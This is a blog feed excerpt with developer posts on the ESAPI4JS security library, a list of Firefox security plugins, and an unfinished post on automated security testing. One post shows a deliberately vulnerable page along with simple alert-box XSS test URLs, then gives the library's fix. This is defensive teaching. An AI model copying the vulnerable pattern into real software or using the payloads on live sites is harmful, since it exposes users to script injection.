src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>1</thr:total><georss:featurename>Aurora, CO 80017, USA</georss:featurename><georss:point>39.6937087 -104.7871004</georss:point><georss:box>39.6606867 -104.8454654 39.726730700000005 -104.7287354</georss:box></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-3584152402091443250</id><published>2010-01-24T17:35:00.001-07:00</published><updated>2010-01-24T17:38:15.493-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="ESAPI"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><title type='text'>ESAPI4JS - v0.1.3 Now Available</title><content type='html'>The newest installment of the ESAPI4JS is now available! In light of that, I decided it may be helpful to throw out some examples of how this framework can be used to help protect clients from browser based attacks like DOM Based XSS, and how the API could help to provide some additional client side security. &lt;br /&gt;
&lt;br /&gt;
First let&#39;s take a look at the biggest benefit to using ESAPI4JS - The ability to mitigate client-side DOM Based XSS attacks. This is something that no other framework that I am aware of is yet to tackle, and as such, I think that we will begin to see this vector being exploited more and more in the wild. &lt;br /&gt;
&lt;br /&gt;
Let us start at the beginning. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;What is DOM Based XSS?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Who better to answer that question, than the experts at OWASP?&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote cite=&quot;http://www.owasp.org/index.php/DOM_Based_XSS&quot;&gt;&lt;q&gt;DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.&lt;/q&gt; - &lt;a href=&quot;http://www.owasp.org/index.php/DOM_Based_XSS&quot;&gt;OWASP&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;
The most common type of vulnerable code that this affects is code which uses the information that is in the &lt;code&gt;window.location&lt;/code&gt; global object. &lt;br /&gt;
&lt;br /&gt;
Let&#39;s work through an example of the vulnerable code, and how it could be mitigated using ESAPI4JS.&lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;html&quot;&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
   &amp;lt;title&amp;gt;My Vulnerable Webpage&amp;lt;/title&amp;gt;
   &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
      var getParameter = function( name ) {
         var startIdx = window.location.href.indexOf( name ) + name.length + 1;
         var endIdx = window.location.href.indexOf( &#39;&amp;&#39;, startIdx );
         if ( endIdx = -1 ) endIdx = window.location.href.length;
         return window.location.href.substring( startIdx, endIdx );
      }

      var firstName = getParameter(&#39;firstName&#39;);
   &amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body onload=&quot;function(){document.getElementById(&#39;nameplace&#39;).innerHTML = firstName; }&quot;&amp;gt;
  &amp;lt;h1&amp;gt;Hello &amp;lt;div id=&quot;nameplace&quot;&amp;gt;&amp;lt;/div&amp;gt;, Welcome to my Vulnerable Page!&amp;lt;/h1&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
If you were to hit this page with the following URL: http://host.com/vulnerable.html?firstName=Chris&lt;br /&gt;
&lt;br /&gt;
The resultant page would display: Hello Chris, Welcome to my Vulnerable Page!&lt;br /&gt;
&lt;br /&gt;
However, what if you were to hit this page with a URL that looked like: http://host.com/vulnerable.html?&amp;lt;sript&amp;gt;alert(&#39;xss&#39;);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You guessed it! You will get a pretty little popup. So what you say, server-side XSS controls can mitigate that risk easily, and you would be correct, however, what if the url looked like this: http://host.com/vulnerable.html#firstName=&amp;lt;script&amp;gt;alert(&#39;xss&#39;);lt;/script&amp;gt; &lt;br /&gt;
&lt;br /&gt;
If you said that server-side mitigation wouldn&#39;t catch this, you are right! When a browser sends a request to the server, anything after the &#39;#&#39; is not sent as part of the request, as this is meant for browser control to jump to an anchor in the page. &lt;br /&gt;
&lt;br /&gt;
So how do we fix this problem? Simple with ESAPI4JS - the page could be rewritten as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;html&quot;&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
   &amp;lt;title&amp;gt;My Vulnerable Webpage&amp;lt;/title&amp;gt;
   &amp;lt;!-- Dependencies --&amp;gt;
   &amp;lt;script type=&quot;text/javascript&quot; language=&quot;JavaScript&quot; src=&quot;/js/esapi4js/lib/log4js.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
   &amp;lt;script type=&quot;text/javascript&quot; language=&quot;JavaScript&quot; src=&quot;/js/esapi4js/resources/i18n/ESAPI_Standard_en_US.properties.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
   &amp;lt;script type=&quot;text/javascript&quot; language=&quot;JavaScript&quot; src=&quot;/js/esapi4js/esapi.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
   &amp;lt;script type=&quot;text/javascript&quot; language=&quot;JavaScript&quot; src=&quot;/js/esapi4js/resources/Base.esapi.properties.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
   &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
      org.owasp.esapi.ESAPI.initialize();
      var firstName = $ESAPI.httpUtilities().getParameter(&quot;firstName&quot;);
      try {
         // Will throw an exception if there are multiple encodings in the value
         firstName = $ESAPI.encoder().canonicalize(firstName);
      } catch (e) {
         $ESAPI.logger(&#39;VulnerablePage&#39;).warn( org.owasp.esapi.Logger.EventType.SECURITY_FAILURE, e.getLogMessage() );
         alert( e.getUserMessage() );
         firstName = &#39;Guest&#39;;
      }
   &amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body onload=&quot;function(){document.getElementById(&#39;nameplace&#39;).innerHTML = $ESAPI.encoder().encodeForHTML(firstName); }&quot;&amp;gt;
  &amp;lt;h1&amp;gt;Hello &amp;lt;div id=&quot;nameplace&quot;&amp;gt;&amp;lt;/div&amp;gt;, Welcome to my Vulnerable Page!&amp;lt;/h1&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
We have successfully mitigated DOM Based XSS attacks against our vulnerable page. Of course, in the real world, the vulnerable code will not be *quite* as obvious in most places, but the resolution is still the same.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s move on to the next piece, using ESAPI logging. You probably noticed the call in the above section of code to &lt;code&gt;$ESAPI.logger&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
There are a few things to deal with when setting up logging for ESAPI4JS. The first is to pick your Logging framework. The Log4JS framework is used by the Reference Implementation and so that will be used for the first part of this demonstration. A subsequent blog post will discuss how to implement other logging frameworks into your ESAPI.&lt;br /&gt;
&lt;br /&gt;
The first step is to setup your logging configuration. For the purposes of this example, we will only be setting up a single logger, and we will continue to use our vulnerable.html example from above. Without further ado:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;Base.esapi.properties.logging[&quot;VulnerablePage&quot;] = {
    Level: org.owasp.esapi.Logger.ALL,
    Appenders: [ new Log4js.AjaxAppender(&#39;/jsLog&#39;) ],
    LogUrl: true,
    LogApplicationName: true,
    EncodingRequired: true
};

// Since we specify that we want the application name logged in our configuration, let us give our application a name:
Base.esapi.properties.applicaton.Name = &#39;Vulnerable Application&#39;; 
&lt;/pre&gt;&lt;br /&gt;
Now this will POST your log entry to the path /jsLog which should be mapped to some handler servlet or php controller on the server side. More details on using this appender can be found &lt;a href=&quot;http://log4js.berlios.de/docu/users-guide.html&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now any calls to &lt;code&gt;$ESAPI.logger(&#39;VulnerablePage&#39;)&lt;/code&gt; will go to this logger.&lt;br /&gt;
&lt;br /&gt;
There are six methods for logging (trace, debug, info, warn, error, fatal) each with the signature &lt;code&gt;.method( org.owasp.esapi.EventType eventType, String message, Exception exception );&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
You can define custom event types by instantiating new instances of the org.owasp.esapi.Logger.EventType class or reference the static predefined events &lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;org.owasp.esapi.Logger.EventType.SECURITY_FAILURE&lt;/b&gt; - Used to log when something fails to pass a security control&lt;/li&gt;
&lt;li&gt;&lt;b&gt;org.owasp.esapi.Logger.EventType.SECURITY_SUCCESS&lt;/b&gt; - Used to log when something passes a security control&lt;/li&gt;
&lt;li&gt;&lt;b&gt;org.owasp.esapi.Logger.EventType.EVENT_FAILURE&lt;/b&gt; - Used to log when something fires an event, and that event does not complete successfully.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;org.owasp.esapi.Logger.EventType.EVENT_SUCCESS&lt;/b&gt; - Used to log when something fires an event, and that event completes successfully.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Creating a custom EventType is simple. &lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;var customEventType = new org.owasp.esapi.Logger.EventType( &quot;Custom Event&quot;, false );

// ... later

$ESAPI.logger(&#39;VulnerablePage&#39;).info( customEventType, &quot;Something happened!&quot; );
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;HTTPUtilities&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The HTTPUtilities object is meant to provide shortcuts for doing common tasks that have to do with the browser and the response. Right now, the available methods are:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;addCookie( org.owasp.esapi.net.Cookie cookie )&lt;/b&gt;&lt; - Adds a single cookie to the cookie jar/li&gt;&lt;br /&gt;
&lt;li&gt;&lt;b&gt;getCookie( String name )&lt;/b&gt; - Gets the String value of a cookie&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;killCookie( String name )&lt;/b&gt; - Deletes a cookie if it exists in the current cookie jar&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;killAllCookies( String name )&lt;/b&gt; - Removes all the cookies from the current cookie jar&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;getParameter( String name )&lt;/b&gt; - Gets the value of a parameter on the URL&lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
This should be enough to get you started using ESAPI4JS. I will make a seperate post at a later time going over the i18n framework.&lt;br /&gt;
&lt;br /&gt;
Enjoy and feel free to share comments!</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/3584152402091443250/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/esapi4js-v013-now-available.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/3584152402091443250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/3584152402091443250'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/esapi4js-v013-now-available.html' title='ESAPI4JS - v0.1.3 Now Available'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-5415612760928745045</id><published>2010-01-15T00:21:00.001-07:00</published><updated>2010-01-15T00:24:27.015-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="ESAPI"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><title type='text'>ESAPI4JS - The new hotness!</title><content type='html'>So I have been hard at work on the ESAPI4JS code for the last couple of weeks, and have gotten it to a point where people can start to play with it. It will be in alpha for a bit yet, as not all the functionality is there, but here is a little of what you can do with it so far.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Download the script(s)&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://owasp-esapi-js.googlecode.com/files/esapi-compressed.js&quot;&gt;http://owasp-esapi-js.googlecode.com/files/esapi-compressed.js&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://owasp-esapi-js.googlecode.com/files/esapi.js&quot;&gt;http://owasp-esapi-js.googlecode.com/files/esapi.js&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Import the Compressed or Uncompressed JS File on your page&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;html&quot;&gt;&amp;lt;!-- Uncompressed Version --&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot; language=&quot;JavaScript&quot; src=&quot;esapi.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- Compressed Version --&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot; language=&quot;JavaScript&quot; src=&quot;esapi-compressed.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Initialize the ESAPI&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;$ESAPI_Initialize();
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Do some cool stuff!&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;javascript&quot;&gt;var val = &quot;&amp;lt;div&amp;amp;gt;Test&amp;lt;/div&amp;gt;&quot;;
alert( $ESAPI.encoder().encodeForHTML( val ) );
try {
   alert( $ESAPI.encoder().canonicalize( val ) );
} catch (e) {
   alert( e.getUserMessage() );
}
&lt;/pre&gt;&lt;br /&gt;
I should be getting some documentation written up this weekend that explains how to configure the ESAPI for JavaScript and how to use the functionality that is complete. &lt;br /&gt;
&lt;br /&gt;
In the meantime, you can see the source for the &lt;a href=&quot;http://code.google.com/p/owasp-esapi-js/source/browse/trunk/src/main/javascript/org.owasp.esapi.reference.encoding.js&quot;&gt;ESAPI4JS Encoder&lt;/a&gt; which is fully implemented.&lt;br /&gt;
&lt;br /&gt;
If you are interested in getting involved in the project, shoot me an &lt;a href=&quot;mailto:chrisisbeef@gmail.com&quot;&gt;email&lt;/a&gt; and we will see how you can help out!&lt;br /&gt;
&lt;br /&gt;
Development conversation about the ESAPI happens on the &lt;a href=&quot;https://lists.owasp.org/mailman/listinfo/esapi-dev&quot;&gt;esapi-dev&lt;/a&gt; mailing list&lt;br /&gt;
&lt;br /&gt;
User support is available on the &lt;a href=&quot;https://lists.owasp.org/mailman/listinfo/esapi-user&quot;&gt;esapi-user&lt;/a&gt; mailing list.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/5415612760928745045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/esapi4js-new-hotness.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5415612760928745045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5415612760928745045'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/esapi4js-new-hotness.html' title='ESAPI4JS - The new hotness!'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-467958474596749727</id><published>2010-01-13T22:30:00.001-07:00</published><updated>2010-01-13T22:51:09.368-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="plugins"/><title type='text'>Firefox Plugins for Security Professionals - Best of 2009</title><content type='html'>Due to the overwhelming popularity of my first post back on my old blog called &lt;a href=&quot;http://beef.digital-ritual.net/blog/?p=14&quot;&gt;&quot;Firefox Plugins for Security Professionals&quot;&lt;/a&gt; ( apparantly it was even &lt;a href=&quot;http://f0rb1dd3n.com/links.php&quot;&gt;referenced&lt;/a&gt; in a book called &#39;&lt;a href=&quot;http://f0rb1dd3n.com/index.php&quot;&gt;Dissecting the hack: the f0rb1dd3n network&lt;/a&gt;&#39; ) I have decided to put together a new list, highlighting the best security related plugins from 2009. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;10. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/3208&quot;&gt;Fire Encryptor&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
The only reason this one isn&#39;t higher on the list is because it hasn&#39;t been updated to work with Firefox 3.5. However, it allows you to do quick realtime encryption, decryption, and hashing in your browser. Among the really useful scenarios where this comes in handy is when you are accessing a sensitive application on the web. You can enter a password that you will remember into the plugin, hash it, and use the hashed version of the password to login to the site. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;9. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/770&quot;&gt;Leet Key&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
Similar to Fire Encryptor, only this allows you to do realtime conversion to ROT13, BASE64, HEX, and URL encoded strings. Invaluable when working with injection attacks and trying to bypass filters in an application. For fun it also will convert any text into l33tspeak, morse code, binary, all upper, all lower, and BIN - as well as do simple DES encryption.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;8. &lt;a href=&quot;https://addons.mozilla.org/firefox/addon/966&quot;&gt;Tamper Data&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
Extremely useful plugin that allows you to tamper with a request just before it is sent to the server. Allows such useful things as changing headers (for request splitting fun), modifying POSTed parameters, adding parameters to a POST, adding/removing headers and other such goodness. You can guarantee that the bad guys are using this plugin, so you better be too!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;7. &lt;a href=&quot;https://addons.mozilla.org/mn/firefox/addon/590?lang=en-US&quot;&gt;ShowIP&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
Handy little plugin that displays the IP address of the server that you are actually on in the lower right hand corner of the browser status bar. Allows quick one-click access to whois data as well as the ability to copy the ip address to the clipboard for a quick paste into your favorite port-scanner.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;6. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/6196&quot;&gt;Passive Recon&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
This is probably one of the most complete information gathering plugins that has ever been for a browser. A right click context menu allows you to find a wealth of useful and useless information about a target server. You can discover public services available on a server, all servers in the domain, what architecture the server is using, what commonly used ports are open, and a good deal more.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;5. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/3899&quot;&gt;Hackbar&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
A CLI type interface for messing with URLs. This toolbar is mainly aimed at discovering SQL Injection flaws, but also has several built-in macros for XSS, Encryption, and Encoding flaws as well. Any serious analyst or security-focused developer should definately have this little gem in their toolbox.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;4. &lt;a href=&quot;https://addons.mozilla.org/firefox/addon/2275&quot;&gt;Torbutton&lt;/a&gt;/&lt;a href=&quot;http://foxyproxy.mozdev.org/&quot;&gt;FoxyProxy&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
Oldie but goodie! While the TOR network is by no means perfect for anonymizing internet traffic it is light years ahead of most every other easily accessible anonymyzer. TOR is one step down from a pwn&#39;d proxy chain (although it is a very big step down) and although it is generally slower than molassis, if you are stealth scanning an application, it is extremely powerful and easy to use.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/1290&quot;&gt;UrlParams&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
A quick easy access sidebar plugin that gives you complete access to all the POST and GET parameters on a request. Probably the most useful feature is the ability to replay a modified request to a new tab. It also gives you quick access to the referer header for black-hat SEO spamming if your into that kind of thing.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/60&quot;&gt;Web Developer&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
This plugin is an absolute &lt;u&gt;MUST-HAVE&lt;/u&gt; for anyone using firefox to break applications. It puts a wealth of information about the current page at your fingertips. If you haven&#39;t seen this plugin you have probably been living under a rock for the last 5 years.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/1843&quot;&gt;Firebug&lt;/a&gt;/&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/6683&quot;&gt;Firecookie&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
Still at the #1 spot for the third year running is the Firebug plugin. Teamed up with Firecookie there is virtually nothing you can&#39;t do to a running webpage. Debug the javascript served from the server to find exploitable bugs, grep all the in memory javascript for evals, examine ajax requests and responses, monitor load times for time-based attacks, and on and on and on. Like the web developer plugin, if you have heard of at least firebug, chances are you have been living under a rock for the last few years!&lt;br /&gt;
&lt;br /&gt;
That does it for my 2009 list. And they are all available as a collection from my shared collections on the Mozilla Add-Ons site:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/collection/appsec-best-of-2009&quot;&gt;Best of 2009 - Security Plugins&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
What are your favorite plugins?</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/467958474596749727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/firefox-plugins-for-security.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/467958474596749727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/467958474596749727'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/firefox-plugins-for-security.html' title='Firefox Plugins for Security Professionals - Best of 2009'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-6373199580672637515</id><published>2010-01-13T20:57:00.001-07:00</published><updated>2010-01-13T20:58:46.585-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="java"/><category scheme="http://www.blogger.com/atom/ns#" term="testing"/><title type='text'>A new type of security testing...</title><content type='html'>I am not sure if this is really a new idea, it probably isn&#39;t, but I haven&#39;t seen anything in the tubes about it and it is a concept that I have been slowly rolling around my brainpan while working on the ESAPI. &lt;br /&gt;
&lt;br /&gt;
When we write &lt;b&gt;unit tests&lt;/b&gt; for ESAPI, what we are doing is giving the API inputs and looking for the correct outputs, or looking for an exception. This is nothing new, this is what unit testing is really all about - but it is all based around business functionality. &lt;br /&gt;
&lt;br /&gt;
My idea is to take that idea, of testing business functionality and apply the same philosophy to a new set of test cases. &lt;br /&gt;
&lt;br /&gt;
Traditionally, there are 3 main types of assessments of an application to uncover security flaws:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;&lt;b&gt;&lt;u&gt;Vulnerability Scanning&lt;/u&gt;&lt;/b&gt;: This is usually the first step in an application assessment. It generally consists of an automated scanner, such as &lt;a href=&quot;http://www.nessus.org/&quot;&gt;Nessus&lt;/a&gt;. If the assessment is being done by someone competent, it will also include a manual review of the site. The problem with vulnerability scanners is they are really good at finding the really obvious flaws, but they have no context to the application. The only way to do a full assessment of an application is to sit down in front of it and try everything you can to break it by hand.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;u&gt;Static Analysis&lt;/u&gt;&lt;/b&gt;: There are some great static analysis tools out there that are great at finding common coding errors that lead to security flaws. For Java there are things like &lt;a href=&quot;http://findbugs.sourceforge.net/&quot;&gt;FindBugs&lt;/a&gt; and &lt;a href=&quot;http://pmd.sourceforge.net/&quot;&gt;PMD&lt;/a&gt;. There are also services online that will scan the code in your repository for security related code issues. These can find some bugs that would otherwise be very difficult to find, but require a lot of tuning to limit the number of false positives that are reported.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;u&gt;Manual Code Review&lt;/u&gt;&lt;/b&gt;: If you come into an existing application that already has an existing codebase, this can be one of the most daunting tasks you will ever encounter. Especially if you come into a codebase that has had a lot of hands in the pot (so to speak) with a lot of different coding philosophies. This process is exactly what it sounds like, sitting down in front of the code and analyzing every line of it looking for coding errors and bugs. To date, this is the most effective form of assessment, but it is rare for everything to be caught unless this process is implemented by a very good developer or architect from day 1 of coding.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
What I am proposing is using the concept of automated integration testing in the runtime by writing code to test your code for security vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
Imagine the following situation. You have a simple guestbook web application. The application consists of a single JSP file, a servlet and a facade that sits in front of a DAO. Let&#39;s illustrate this with some pseudo-java below.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Value Objects to represent the data&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;public class Entry implements Serializable, Comparable&amp;lt;Entry&amp;gt; {
   private long id;
   private String message;
   private String fromName;
   private String fromEmail;

   // ... declare getters and setters
}
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Data Access Layer&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;public interface GuestbookDAO {
   List&amp;lt;Entry&amp;gt; getEntries() throws DAOException;
   void saveEntry(Entry entry) throws DAOException;
}

public class MySQLGuestbookDAO implements GuestbookDAO {
   public List&amp;lt;Entry&amp;gt; getEntries() throws DAOException {
      Connection con = null;
      try {
         List&amp;lt;Entry&amp;gt; entries = new ArrayList&amp;lt;Entry&amp;gt;();
         con = JDBCHelper.getConnection();
         Statement st = con.createStatement( &quot;select * from entries&quot; );
         ResultSet rs = con.executeStatement();
         while ( rs.next() ) {
            entries.add( new Entry( rs.getLong(1), rs.getString(2), rs.getString(3), rs.getString(4));
         }
      } catch (Throwable t) {
         throw new DAOException(t);
      } finally {
         if ( con != null ) con.close();
      }
   }

   public void saveEntry(Entry entry) throws DAOException {
      Connection con = null;
      try {
         con = JDBCHelper.getConnection();
         PreparedStatement st = con.createPreparedStatement( ... );
         // ... standard jdbc code
      } catch (Throwable t) {
         throw new DAOException(t);
      } finally {
         if ( con != null ) con.close();
      }
   }
}

public class GuestbookDAOFactory {
   public static GuestbookDAO getDAO() {
      return new MySQLGuestbookDAO();
   }
}
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Facade&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;public class GuestbookFacade {
   private GuestbookFacade() { /* Singleton */ }
   private static final GuestbookFacade myInstance = new GuestbookFacade();
   public static GuestbookFacade getInstance() { return myInstance; }
   private static final Logger log = Logger.getLogger( GuestbookFacade.class );

   private final GuestbookDAO dao = GuestbookDAOFactory.getDAO();

   public List&amp;lt;Entry&amp;gt; getEntries() {
      List&amp;lt;Entry&amp;gt; out = new ArrayList&amp;lt;Entry&amp;gt;();
      try {
         out = dao.getEntries();
      } catch (DAOException e) {
         log.error(e);
      }
      return out;
   }

   public void saveEntry(String message, String fromName, String fromEmail) {
      Entry entry = new Entry( message, fromName, fromEmail );
      try {
         dao.saveEntry(entry);
      } catch (DAOException e) {
         log.error(&quot;Unable to create entry: &quot; + message + &quot;, from: &quot; + fromName + &quot;&lt;&quot; + fromEmail + &quot;&gt;&quot;, e);
      }
   }
}
&lt;/pre&gt;&lt;br /&gt;
